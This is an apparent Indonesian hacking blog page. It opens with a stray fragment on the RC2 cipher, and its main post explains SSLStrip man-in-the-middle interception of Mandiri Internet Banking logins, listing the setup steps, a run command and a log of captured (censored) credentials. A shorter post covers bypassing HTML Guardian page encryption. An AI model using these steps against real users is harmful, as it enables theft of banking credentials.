Awalnya, rincian algoritma dirahasiakan – eksklusif untuk RSA Security – tetapi pada Januari 29 , 1996 , kode sumber untuk RC2 adalah anonim diposting ke Internet pada Usenet forum, sci.crypt . Sebuah pengungkapan yang sama telah terjadi sebelumnya dengan algoritma RC4. Tidak jelas apakah poster itu memiliki akses dengan spesifikasi atau apakah telah reverse engineered .

RC2 adalah 64-bit blok cipher dengan ukuran variabel kunci . 18 Its putaran diatur sebagai sumber-berat jaringan Feistel , dengan 16 putaran dari satu jenis (pencampuran) diselingi oleh dua putaran jenis lain (dihaluskan). Sebuah putaran pencampuran terdiri dari empat aplikasi transformasi MIX, seperti ditunjukkan pada diagram.


__________________________________________________________________
----Gunakanlah Tutorial Dengan Bijak----



Zeke hack {Trickster}


Minggu, 04 September 2011

MITM Attack on Mandiri Internet Banking using SSLStrip

Kali ini saya akan menjelaskan tentang penyerangan yang dilakukan pada situs yang memiliki protokol Https. Https memiliki keunggulan dari segi keamanan , protokol ini menjamin keamanan data dari browser hingga web server. MITM attack (man in the middle) tidak bisa dilakukan terhadap https karena https memiliki fitur authentication sehingga attacker tidak bisa menyamar sebagai web server. Walaupun mitm attack tidak bisa dilakukan terhadap https, namun attacker tetap bisa menyerang user yang menggunakan http sebagai pintu masuk menuju https. Dalam artikel ini saya akan jelaskan tentang SSLStrip, sebuah tool yang dibuat oleh Moxie Marlinspike untuk melakukan serangan mitm terhadap pengguna situs yang dilindungi dengan https.

SSL is not vulnerable to MITM attack

MITM attack adalah serangan dimana attacker berada di tengah bebas mendengarkan dan mengubah percakapan antara dua pihak. Jadi dengan serangan MITM ini attacker tidak hanya pasif mendengarkan, tetapi juga aktif mengubah komunikasi yang terjadi. Sebagai contoh, pada percakapan antara Alice dan Bob, Charlie menjadi pihak yang ditengah melakukan MITM attack. Charlie tidak hanya bisa mendengarkan percakapan itu, namun juga bisa mengubah percakapannya. Ketika Alice berkata “Besok makan siang jam 7″, Charlie bisa mengubahnya menjadi “Besok makan siang dibatalkan” sehingga Bob mengira makan siang dengan Alice tidak jadi.

Kenapa MITM attack bisa terjadi? MITM attack bisa terjadi karena sebelum berkomunikasi kedua pihak tidak melakukan authentication. Authentication berguna untuk memastikan identitas pihak yang berkomunikasi, apakah saya sedang berbicara dengan orang yang benar, atau orang ke-3 (the person in the middle) ? Tanpa authentication Alice akan mengira sedang berbicara dengan Bob, sedangkan Bob juga mengira sedang berbicara dengan Alice, padahal bisa jadi sebenarnya Alice sedang berbicara dengan Charlie dan Bob juga sedang berbicara dengan Charlie, sehingga Charlie bertindak sebagai “the person in the middle”. Seharusnya sebelum Alice dan Bob berbicara, harus ada authentication, untuk memastikan “Who are you speaking with?”. Alice harus memastikan “Are you really Bob? Prove it!”, sedangkan Bob juga harus memastikan “Are you really Alice? Prove it!”.

SSL adalah protokol yang memiliki tingkat keamanan sangat tinggi. SSL tidak hanya mengatur tentang enkripsi, namun juga mengatur tentang authentication sehingga SSL tidak rentan terhadap serangan man in the middle. SSL menggunakan sertifikat yang memanfaatkan kunci publik dan kunci private sebagai cara untuk melakukan authentication. Dengan menggunakan sertifikat SSL ini, pengunjung web bisa yakin sedang berkomunikasi dengan web server yang benar, bukan attacker in the middle yang menyamar menjadi web server suatu situs.

Attacker yang mencoba menjadi “the person in the middle”, akan dengan mudah ketahuan karena attacker tidak bisa membuktikan identitasnya dengan sertifikat SSL yang sah. Sertifikat SSL yang sah haruslah ditandatangani oleh CA (certificate authority) yang dipercaya dan tersimpan dalam daftar trusted CA browser. Jadi bila attacker mencoba membuat sertifikat SSL sendiri, browser akan memberi peringatan keras pada pengunjung bahwa sertifikat SSL tidak bisa dipercaya dan pengunjung disarankan untuk membatalkan kunjungan karena beresiko terkena serangan mitm. Serangan mitm attack baru bisa berhasil bila pengunjung tetap bandel dan nekat untuk menggunakan sertifikat palsu tersebut. Bila ini yang terjadi, maka kesalahan ada pada pengguna, bukan kelemahan SSL sebagai protokol. Lebih detil tentang https silakan baca Understanding Https.

HTTPS vs HTTP, Trusted vs Untrusted

http adalah protokol yang tidak bisa dipercaya karena rentan terhadap serangan mitm. Sedangan http over SSL (https) adalah protokol yang bisa dipercaya karena protokol ini tidak rentan terhadap serangan mitm. Informasi yang dilihat pengunjung pada browser di sebuah page http sebenarnya tidak bisa dipercaya karena tidak ada jaminan integritas dan keontentikan data. Informasi tersebut kemungkinan sudah diubah di tengah jalan atau berasal dari sumber yang tidak otentik (orang lain). dan pengunjung tidak bisa melakukan verifikasi.

Sedangkan informasi yang dilihat pengunjung pada browser di sebuah halaman https bisa dipercaya karena DIJAMIN informasi yang diterima adalah sama dengan yang dikirim web server dan informasi tersebut juga DIJAMIN dikirim oleh web server yang benar. Dulu saya pernah menulis artikel tentang Trusted vs Untrusted klikBCA, yang menjelaskan tentang adanya dua subdomain yang berbeda, yang trusted menggunakan https dan yang untrusted menggunakan http.

HTTP as Gate to HTTPS

Jarang sekali orang mengunjungi situs dengan mengetikkan https:// bahkan http:// pun orang sudah malas. Kebanyakan orang langsung mengetikkan alamat situs yang ditujunya tanpa harus diawali dengan http:// atau https://. Secara default browser akan berasumsi bahwa pengunjung akan menggunakan protokol http, bukan https bila pengunjung tidak menyebutkan protokolnya.

Kebanyakan situs yang harus memakai https, memang dirancang untuk menerima request melalui http (port 80) atau https (port 443). Situs pada port 80 biasanya hanya dijadikan jembatan untuk menuju situs yang sebenarnya pada port 443. Bila pengunjung masuk melalui port 80, maka server akan memberikan link untuk menuju URL https, atau dengan memberikan response Redirect.

Jadi bisa disimpulkan bahwa sebagian besar pengunjung memasuki https dengan melalui http, dengan kata lain http sebagai gerbang menuju https. Metode peralihan dari situs http ke situs https ada beberapa cara, yaitu:

Memberikan link menuju URL https.
Memberikan response redirect ke URL https.
Menggunakan META tag auto refresh ke URL https.
Menggunakan javascript untuk load halaman https.
Attacking HTTP, not HTTPS

Sebelumnya sudah saya jelaskan bahwa https adalah protokol yang sangat secure sehingga tidak bisa diserang dengan serangan mitm. Namun mengingat kenyataan bahwa kebanyakan orang mengakses https melalui http, maka attacker memiliki peluang untuk menyerang ketika pengunjung masih berada dalam protokol http.

SSLStrip adalah tool untuk melakukan mitm attack pada protokol http (bukan HTTPS), dengan maksud untuk menyerang situs-situs yang dilindungi dengan https. SSLStrip sebagai “the person in the middle”, akan mencegah peralihan dari http ke https dengan secara aktif mengubah response dari server sehingga pengunjung akan tetap berada dalam protokol http.

Mari kita lihat beberapa cara peralihan dari http ke https, saya tambahkan cara SSLStrip mencegah peralihan itu:

-Memberikan link menuju URL https: SSLStrip akan mengubah link berawalan https menjadi http. Sehingga yang muncul di browser korban bukan link ke https melainkan link ke http.

-Memberikan response redirect ke URL https: SSLStrip akan mengubah header Location dari URL berawalan https menjadi http.

-Menggunakan META tag auto refresh ke URL https: SSLStrip akan mengubah url https menjadi http.

-Menggunakan javascript untuk load halaman https: SSLStrip akan mengubah url https menjadi http.

Untuk lebih jelasnya berikut adalah gambar yang menunjukkan salah satu cara kerja SSLStrip mencegah korban beralih dari http ke https.





Opening Bank Front Page




Pada gambar di atas korban mengakses web server bank dengan URL http://bank/. Request tidak secara langsung dikirim ke web server, namun melalui SSLStrip dulu. SSLStrip meneruskan request tersebut ke web server. Kemudian web server menjawab dengan memberikan html berisi link ke URL https://bank/login/ kepada SSLStrip. Sebelum response html diterima oleh browser, SSLStrip mengubah response tersebut dengan mengubah URL https menjadi http biasa sehingga HTML yang diterima di browser korban berisi link ke URL http://bank/login/ bukan https://bank/login/.





Opening login page




Korban mengklik link pada halaman yang muncul browsernya, tentu saja link ini bukan ke https://bank/login/ melainkan ke http://bank/login/. Dengan cara ini browser tetap dalam protokol http bukan dalam protokol https seperti seharusnya, dengan kata lain SSLStrip berhasil mencegah browser beralih ke protokol https. Request ke http://bank/login/ tersebut dikirimkan ke SSLStrip. Kemudian SSLStrip tidak meneruskan request tersebut ke http://bank/login/, melainkan membuat request baru ke https://bank/login/. Kemudian web server mengirimkan response dari response tersebut ke SSLStrip. Seperti biasanya SSLStrip akan mengubah response dari server tersebut untuk mencegah peralihan ke https. Response yang telah diubah ini kemudian dikirimkan ke browser korban sehingga korban tetap melihat halaman yang sama persis seperti ketika dia membuka https://bank/login/. Dengan tampilan yang sama persis ini, korban mengira sedang membuka https://bank/login/, padahal sebenarnya dia sedang membuka http://bank/login/. Perhatikan bahwa koneksi antara browser dengan SSLStrip adalah dalam http biasa, sedangkan dari SSLStrip ke web server dalam https.




submit username and password





Setelah muncul halaman login dan korban mengira sedang membuka https://bank/login, kemudian korban memasukkan username dan password dan mengklik tombol Login. Browser akan membuat POST request ke http://bank/login/ yang diterima oleh SSLStrip. Karena protokolnya adalah http, maka SSLStrip dengan mudah bisa membaca username dan password yang dimasukkan korban. SSLStrip kemudian akan mengirimkan username dan password korban degan POST request ke https://bank/login/. Seperti biasa jawaban dari webserver akan dimodifikasi dulu seperlunya oleh SSLStrip sebelum dikirimkan ke browser korban.

Perhatikan bahwa korban sejak awal hingga login mengakses situs dengan http, sedangkan SSLStrip di tengah-tengah membuat koneksi https ke web server yang sebenarnya. Jadi walaupun browser mengakses dengan http, namun response yang diterima browser berasal dari koneksi https yang dibuat oleh SSLStrip.

Case Study: Mandiri Internet Banking

Mari kita coba trik di atas dengan contoh kasus pada situs internet banking Mandiri. Karena ini hanya contoh, saya tidak menggunakan teknik ARP Spoofing untuk melakukan MITM attack yang sesungguhnya. Saya sengaja mengubah setting browser saya agar menggunakan proxy, yaitu SSLStrip. Dalam website SSLStrip, disebutkan seharusnya cara untuk melakukan MITM attack dengan SSLStrip adalah:

  • Setting komputer agar bisa melakukan forwarding paket
  • Setting iptables untuk mengarahkan traffic HTTP ke SSLStrip
  • Jalankan SSLStrip
  • Gunakan ARPSpoof untuk meyakinkan jaringan bahwa traffic harus dikirimkan melalui komputer yang menjalankan SSLStrip.

Dalam contoh ini saya tidak melakukan ARPSpoofing, namun saya menggunakan SSLStrip sebagai proxy yang saya setting dalam browser saya. Sehingga setiap traffic http yang dilakukan browser saya akan dikirimkan melalui SSLStrip sebagai man in the middle.

Saya menjalankan SSLStrip di linux dengan IP address 192.168.0.10. Cara menjalankannya mudah sekali, cukup jalankan perintah: python sslstrip.py -l portnumber . Kemudian pada browser saya setting untuk menggunakan proxy 192.168.0.10 dan port sesuai dengan port sslstrip. Untuk lebih jelasnya, perhatikan gambar di bawah ini:





setting up SSLStrip as proxy in IE





Setelah semuanya siap, mari kita coba melakukan serangan mitm. Pada skenario ini, korban akan login ke Mandiri IB tidak dengan mengetikkan https://ib.bankmandiri.co.id, karena korban hanya hafal bankmandiri.co.id saja maka korban langsung mengetikkan bankmandiri.co.id (tanpa diawali www atau http://). Secara default browser akan menganggap korban menghendaki koneksi dengan protokol http, bukan https. Request http tersebut dikirimkan melalui SSLStrip sebagai man in the middle, dan berikut adalah response yang diterima di browser korban. Sebagai pembanding saya juga berikan gambar screenshot halaman depan bank mandiri yang asli (tidak dimodifikasi sslstrip).



bank mandiri front page modified by sslstrip














real mandiri front page (not modified)















Login ke Mandiri IB dilakukan dengan mengklik tombol Login di halaman depan bank mandiri. Login tersebut sebenarnya adalah link ke URL https, namun SSLStrip mengubahnya menjadi http agar korban tidak beralih ke modus https. Berikutnya korban akan mengklik tombol Login, sehingga browser akan mengakses URL http://ib.bankmandiri.co.id (bukan https://). Berikut adalah gambar screenshot halaman login Mandiri IB yang telah dimodifikasi sslstrip dan yang masih asli. Kedua gambar di bawah ini sangat mirip, perbedaannya hanya pada penggunaan awalan http:// dan https://. Saya yakin kebanyakan orang tidak akan menyadari bahwa dia sedang menggunakan http biasa, bukan https.



Mandiri IB login page modified by sslstrip














real login page, https version and not modified





Berikutnya setelah bertemu dengan halaman login, korban akan dengan senang hati memasukkan username dan password. Request tersebut dikirimkan dalam request POST http (bukan https) ke sslstrip. Karena POST dikirim melalui http, maka sslstrip bisa dengan mudah menyimpan username dan password korban.Berikut ini adalah log dari sslstrip yang menangkap username dan password Mandiri IB.

1. 2009-05-06 12:00:43,339 Sending header: content-type: application/x-www-form-urlencoded

2. 2009-05-06 12:00:43,339 Sending header: proxy-connection: Keep-Alive


3. 2009-05-06 12:00:43,339 POST Data (ib.bankmandiri.co.id): action=result&userID=sensordong&password=rahasiabangetsensor&image.x=79&image.y=20


Setelah itu sslstrip akan mengirimkan username dan password korban dalam POST request ke URL https (ini adalah url submit yang asli). Response yang diberikan oleh webserver Mandiri IB akan dimodifikasi seperlunya dan dikembalikan ke browser korban. Bila login berhasil, maka korban akan melihat tampilan seperti gambar dibawah ini, sebagai pembanding saya juga sertakan gambar bila menggunakan protokol https.


login success page in http mode, modified by sslstrip








real login success page, https mode, not modified






Seperti pada halaman login, halaman setelah login berhasil juga sama persis walaupun menggunakan protokol http. Korban tidak akan menyadari bahwa dia sedang menggunakan http, bukannya https karena tampilannya memang tidak ada bedanya.

Tips Pencegahan

Serangan mitm dengan sslstrip ini dilakukan dengan memanfaatkan kemalasan pengguna untuk langsung menggunakan https. Pengguna yang malas memilih untuk menggunakan http biasa dan berharap di-redirect ke url https otomatis atau menemukan link ke url https. Padahal pada saat pengguna menggunakan http biasa itulah pengguna berpotensi terkena serangan mitm. Bila pengguna langsung menggunakan https, maka pengguna akan aman dan terbebas dari serangan mitm. Jadi mulai sekarang biasakanlah mengetikkan https:// di URL anda bila ingin mengakses situs yang sensitif.



__________________________________________________________________
----Gunakanlah Tutorial Dengan Bijak----



Zeke hack {Trickster}


Jumat, 12 Agustus 2011

Hacking Proteksi HTML Guardian

Beberapa situs tidak ingin isi situsnya dibajak orang lain melakukan berbagai cara untuk menghindari pembajakan. Ada yang menggunakan javascript untuk men-disable klik kanan. Cara ini sangat mudah diatasi, cukup dengan mematikan javascript saja. Kali ini saya akan menunjukkan cara membongkar proteksi html guardian, yaitu software untuk mengenkrip html source agar tidak dicuri orang lain.

Javascript-based Encryption

Cara yang lebih baik adalah dengan menggunakan enkripsi. HTML Guardian (HG) adalah salah satu software yang populer untuk melindungi html dengan enkripsi. Html yang dilindungi dengan HG tidak bisa lagi dibaca dengan mata telanjang (view source). Halaman html yang tadinya rapi, mendadak menjadi kacau balau tak terbaca, penuh dengan kode javascript dan karakter string aneh.

Sebenarnya bagaimana cara kerja HG? Cara kerjanya sederhana. Ketika halaman yang telah dienkrip dengan HG di buka, maka kode javascript yang ada di dalamnya akan melakukan dekripsi menjadi kode html kembali. Kode html ini kemudian ditulis lagi ke browser. Kode html yang telah di-dekrip ini hanya tersimpan di memori browser, tidak di file, sehingga ketika orang mencari di kumpulan file cache tidak ditemukan. Dilihat dengan view source pun tidak akan terbaca.


Generated Source

Dari cara kerjanya, bisa kita ambil kesimpulan bahwa plain-text html nya sebenarnya tersedia, namun hanya beredar di memori browser. Jadi ketika javascript dijalankan, dia akan menghasilkan source, source ini lah yang disebut dengan Generated Source yang disimpan di memori browser.

Khusus pengguna Firefox, telah tersedia addon yang sangat ampuh, yaitu Web Developer. Dengan addon ini, dengan sekali klik saja kita bisa mendapatkan generated source yang tersimpan di memori browser.

Mari kita coba membongkar proteksi HG di halaman demonstrasi. Halaman ini memang khusus dibuat untuk menunjukkan fitur-fitur HG.

Bila kita view source halaman demo tersebut, maka yang kita dapatkan hanyalah kode html dan javascript. Semua konten htmlnya dimasukkan ke dalam kode javascript. Kode javascript untuk contoh demo tersebut adalah sebagai berikut:



Sangat kacau bukan source javascriptnya? Tidak perlu pusing-pusing, kita biarkan saja browser yang meng-eksekusi code tersebut. Nanti setelah eksekusi selesai, dengan menggunakan addon web developer, kita bisa melihat source hasil eksekusi javascript tersebut. Sebagian hasil dekripsinya (karena sangat panjang) terlihat sebagai berikut:





Client based protection doesn’t works. Walaupun source dibuat kacau balau seperti apapun, selama browser hanya mengerti html, harus dikembalikan ke bentuk yang dimengerti browser. Kita tidak perlu tahu mengerti javascript hasil scramble, cukup biarkan browser menjalankan tugasnya, dan kita hanya mau hasil akhirnya yang sudah rapi berbentuk html.
__________________________________________________________________
----Gunakanlah Tutorial Dengan Bijak----



Zeke hack {Trickster}